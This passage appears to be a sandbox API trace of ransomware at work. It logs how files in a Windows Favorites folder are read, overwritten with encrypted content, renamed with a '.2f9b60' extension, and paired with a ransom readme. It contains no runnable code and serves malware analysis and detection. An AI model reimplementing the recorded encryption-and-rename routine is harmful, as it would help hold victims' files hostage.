Seed=0x24a3f750) returned 0x41368db7 [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x8c4b8a2 [0101.760] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x2f1a13d [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x711f8ec1 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x7b888b48 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x5c416503 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x69138721 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x6a80cc5c [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x72bd3505 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x2b5ade2a [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x62dda9e6 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x67235644 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x622b045e [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x3e718bec [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x44ec5b36 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x312ac83 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x423aea66 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x68a64549 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x3bc8bea0 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x1ce05135 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x4318ec11 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x2e1c21d0 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x726fb568 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x3ddbccbe [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x4786807b [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x58023cc [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x6b8aca29 [0101.761] RtlRandomEx (in: Seed=0x24a3f750 | out: Seed=0x24a3f750) returned 0x291902a4 [0101.769] ReadFile (in: hFile=0x15fc, lpBuffer=0x20126910, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x24a3f750, lpOverlapped=0x0 | out: lpBuffer=0x20126910*, lpNumberOfBytesRead=0x24a3f750*=0x85, lpOverlapped=0x0) returned 1 [0101.774] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.774] WriteFile (in: hFile=0x15fc, lpBuffer=0x2012e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x24a3f754, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesWritten=0x24a3f754*=0x85, lpOverlapped=0x0) returned 1 [0147.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0147.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0147.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0147.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012e130) returned 1 [0147.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20126910) returned 1 [0147.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0147.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0147.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f820 [0147.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bdb0 [0147.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869d40 [0147.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0147.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0147.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b8606c0 [0147.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0147.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0147.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0147.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0147.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0147.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0147.840] SetFilePointerEx (in: hFile=0x15fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.840] WriteFile (in: hFile=0x15fc, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x24a3f870, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x24a3f870*=0x10c, lpOverlapped=0x0) returned 1 [0148.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0148.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0148.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77c0 [0148.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77c0) returned 1 [0148.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202a77c0 [0148.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7790 [0148.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0148.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0148.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0148.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0148.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7aa220 [0148.151] sprintf (in: _Dest=0x1b7aa220, _Format="%c%c" | out: _Dest="c5") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa222, _Format="%c%c" | out: _Dest="b0") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa224, _Format="%c%c" | out: _Dest="3a") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa226, _Format="%c%c" | out: _Dest="41") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa228, _Format="%c%c" | out: _Dest="0e") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa22a, _Format="%c%c" | out: _Dest="d2") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa22c, _Format="%c%c" | out: _Dest="45") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa22e, _Format="%c%c" | out: _Dest="a1") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa230, _Format="%c%c" | out: _Dest="03") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa232, _Format="%c%c" | out: _Dest="a9") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa234, _Format="%c%c" | out: _Dest="a5") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa236, _Format="%c%c" | out: _Dest="73") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa238, _Format="%c%c" | out: _Dest="3c") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa23a, _Format="%c%c" | out: _Dest="05") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa23c, _Format="%c%c" | out: _Dest="6f") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa23e, _Format="%c%c" | out: _Dest="38") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa240, _Format="%c%c" | out: _Dest="a3") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa242, _Format="%c%c" | out: _Dest="2e") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa244, _Format="%c%c" | out: _Dest="29") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa246, _Format="%c%c" | out: _Dest="86") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa248, _Format="%c%c" | out: _Dest="37") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa24a, _Format="%c%c" | out: _Dest="7d") returned 2 [0148.151] sprintf (in: _Dest=0x1b7aa24c, _Format="%c%c" | out: _Dest="0f") returned 2 [0148.152] sprintf (in: _Dest=0x1b7aa24e, _Format="%c%c" | out: _Dest="26") returned 2 [0148.152] sprintf (in: _Dest=0x1b7aa250, _Format="%c%c" | out: _Dest="01") returned 2 [0148.152] sprintf (in: _Dest=0x1b7aa252, _Format="%c%c" | out: _Dest="a1") returned 2 [0148.152] RtlInitAnsiString (in: DestinationString=0x24a3f8e8, SourceString="c5b03a410ed245a103a9a5733c056f38a32e2986377d0f2601a1" | out: DestinationString="c5b03a410ed245a103a9a5733c056f38a32e2986377d0f2601a1") [0148.152] RtlAnsiStringToUnicodeString (in: DestinationString=0x24a3f8b8, SourceString="c5b03a410ed245a103a9a5733c056f38a32e2986377d0f2601a1", AllocateDestinationString=1 | out: DestinationString="c5b03a410ed245a103a9a5733c056f38a32e2986377d0f2601a1") returned 0x0 [0148.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8699c0 [0148.152] RtlFreeAnsiString (AnsiString="c") [0148.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa220) returned 1 [0148.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77c0) returned 1 [0148.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0148.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0148.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0148.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0148.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0148.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601d0) returned 1 [0148.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264040) returned 1 [0148.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0148.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85bac0 [0148.156] wcscat (in: _Dest=0x1b85bac0, _Source="c5b03a410ed24" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24" [0148.156] wcscat (in: _Dest=0x1b85bac0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24.2f9b60" [0148.156] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24.2f9b60", NtPathName=0x24a3f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\c5b03a410ed24.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506a90 [0148.157] NtSetInformationFile (FileHandle=0x15fc, IoStatusBlock=0x24a3f930, FileInformation=0x20506a90, Length=0x98, FileInformationClass=0xa) [0208.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506a90) returned 1 [0208.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290740) returned 1 [0208.256] NtQueryInformationFile (in: FileHandle=0x15fc, IoStatusBlock=0x24a3f8f8, FileInformation=0x24a3f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24a3f8f8, FileInformation=0x24a3f908) returned 0x0 [0208.256] NtSetInformationFile (FileHandle=0x15fc, IoStatusBlock=0x24a3f8f8, FileInformation=0x24a3f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0218.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 [0218.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0218.158] FlushFileBuffers (hFile=0x15fc) returned 1 [0222.780] CloseHandle (hObject=0x15fc) returned 1 [0224.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x420612b0 [0224.746] wcscpy (in: _Dest=0x420612b0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0224.746] wcscat (in: _Dest=0x420612b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0224.746] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0225.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0225.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8666c0) returned 1 Thread: id = 850 os_tid = 0x320 [0101.006] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0102.062] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x20) returned 1 [0102.062] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1620 [0102.062] GetFileSizeEx (in: hFile=0x1620, lpFileSize=0x24c3f8c0 | out: lpFileSize=0x24c3f8c0*=133) returned 1 [0102.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0102.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0102.063] NtQuerySystemTime (in: CurrentTime=0x24c3f780 | out: CurrentTime=0x24c3f780*=132462177075850000) returned 0x0 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x385eacec [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x1399c084 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x23e60ce3 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x601e749c [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x3bfeafea [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x4e97ab3d [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x26842914 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0xcc8fbef [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x6c60b9e8 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x2fcf989f [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x3ceeacb9 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x29fdca2a [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x5d333b78 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x4eb2c951 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x36b6ffe6 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x483f6688 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x70b058d8 [0102.063] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x29c5b380 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x65039147 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x6a810afa [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x5afe69b2 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x5b937994 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x625a23c2 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x628eac8 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x199cd788 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x2bd2db1 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x19c6f838 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x607820ff [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x6a2a08dc [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x1a1c9133 [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x4855f41f [0102.064] RtlRandomEx (in: Seed=0x24c3f770 | out: Seed=0x24c3f770) returned 0x57d2df3a [0102.076] ReadFile (in: hFile=0x1620, lpBuffer=0x1ce8e210, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x24c3f770, lpOverlapped=0x0 | out: lpBuffer=0x1ce8e210*, lpNumberOfBytesRead=0x24c3f770*=0x85, lpOverlapped=0x0) returned 1 [0102.077] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.078] WriteFile (in: hFile=0x1620, lpBuffer=0x1ce8a600*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x24c3f774, lpOverlapped=0x0 | out: lpBuffer=0x1ce8a600*, lpNumberOfBytesWritten=0x24c3f774*=0x85, lpOverlapped=0x0) returned 1 [0148.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e60 [0148.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8fb0 [0148.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8fb0) returned 1 [0148.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce8a600) returned 1 [0148.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce8e210) returned 1 [0148.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7aa120 [0148.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8fb0 [0148.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8fb0) returned 1 [0148.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7aa7a0 [0148.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8fb0 [0148.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f50 [0148.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f50) returned 1 [0148.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x168120 [0148.101] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.101] WriteFile (in: hFile=0x1620, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x24c3f890, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x24c3f890*=0x10e, lpOverlapped=0x0) returned 1 [0162.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0162.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0162.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0162.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0162.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c197d0 [0162.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19800 [0162.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19830 [0162.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19830) returned 1 [0162.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0162.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42058a10 [0162.838] sprintf (in: _Dest=0x42058a10, _Format="%c%c" | out: _Dest="3d") returned 2 [0162.838] sprintf (in: _Dest=0x42058a12, _Format="%c%c" | out: _Dest="a4") returned 2 [0162.838] sprintf (in: _Dest=0x42058a14, _Format="%c%c" | out: _Dest="94") returned 2 [0162.838] sprintf (in: _Dest=0x42058a16, _Format="%c%c" | out: _Dest="2c") returned 2 [0162.838] sprintf (in: _Dest=0x42058a18, _Format="%c%c" | out: _Dest="a2") returned 2 [0162.838] sprintf (in: _Dest=0x42058a1a, _Format="%c%c" | out: _Dest="cf") returned 2 [0162.838] sprintf (in: _Dest=0x42058a1c, _Format="%c%c" | out: _Dest="de") returned 2 [0162.838] sprintf (in: _Dest=0x42058a1e, _Format="%c%c" | out: _Dest="43") returned 2 [0162.838] sprintf (in: _Dest=0x42058a20, _Format="%c%c" | out: _Dest="db") returned 2 [0162.838] sprintf (in: _Dest=0x42058a22, _Format="%c%c" | out: _Dest="73") returned 2 [0162.838] sprintf (in: _Dest=0x42058a24, _Format="%c%c" | out: _Dest="51") returned 2 [0162.838] sprintf (in: _Dest=0x42058a26, _Format="%c%c" | out: _Dest="fd") returned 2 [0162.838] sprintf (in: _Dest=0x42058a28, _Format="%c%c" | out: _Dest="15") returned 2 [0162.838] sprintf (in: _Dest=0x42058a2a, _Format="%c%c" | out: _Dest="04") returned 2 [0162.838] sprintf (in: _Dest=0x42058a2c, _Format="%c%c" | out: _Dest="42") returned 2 [0162.838] sprintf (in: _Dest=0x42058a2e, _Format="%c%c" | out: _Dest="c8") returned 2 [0162.838] sprintf (in: _Dest=0x42058a30, _Format="%c%c" | out: _Dest="d0") returned 2 [0162.838] sprintf (in: _Dest=0x42058a32, _Format="%c%c" | out: _Dest="1f") returned 2 [0162.839] sprintf (in: _Dest=0x42058a34, _Format="%c%c" | out: _Dest="e4") returned 2 [0162.839] sprintf (in: _Dest=0x42058a36, _Format="%c%c" | out: _Dest="2c") returned 2 [0162.839] sprintf (in: _Dest=0x42058a38, _Format="%c%c" | out: _Dest="fd") returned 2 [0162.839] sprintf (in: _Dest=0x42058a3a, _Format="%c%c" | out: _Dest="22") returned 2 [0162.839] sprintf (in: _Dest=0x42058a3c, _Format="%c%c" | out: _Dest="3c") returned 2 [0162.839] sprintf (in: _Dest=0x42058a3e, _Format="%c%c" | out: _Dest="12") returned 2 [0162.839] sprintf (in: _Dest=0x42058a40, _Format="%c%c" | out: _Dest="cf") returned 2 [0162.839] sprintf (in: _Dest=0x42058a42, _Format="%c%c" | out: _Dest="56") returned 2 [0162.839] sprintf (in: _Dest=0x42058a44, _Format="%c%c" | out: _Dest="8d") returned 2 [0162.839] sprintf (in: _Dest=0x42058a46, _Format="%c%c" | out: _Dest="71") returned 2 [0162.839] RtlInitAnsiString (in: DestinationString=0x24c3f908, SourceString="3da4942ca2cfde43db7351fd150442c8d01fe42cfd223c12cf568d71" | out: DestinationString="3da4942ca2cfde43db7351fd150442c8d01fe42cfd223c12cf568d71") [0162.839] RtlAnsiStringToUnicodeString (in: DestinationString=0x24c3f8d8, SourceString="3da4942ca2cfde43db7351fd150442c8d01fe42cfd223c12cf568d71", AllocateDestinationString=1 | out: DestinationString="3da4942ca2cfde43db7351fd150442c8d01fe42cfd223c12cf568d71") returned 0x0 [0162.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869640 [0162.840] RtlFreeAnsiString (AnsiString="3") [0162.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0162.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19800) returned 1 [0162.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0162.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa7a0) returned 1 [0162.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8fb0) returned 1 [0162.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa120) returned 1 [0162.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e60) returned 1 [0162.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0162.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0162.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0162.843] 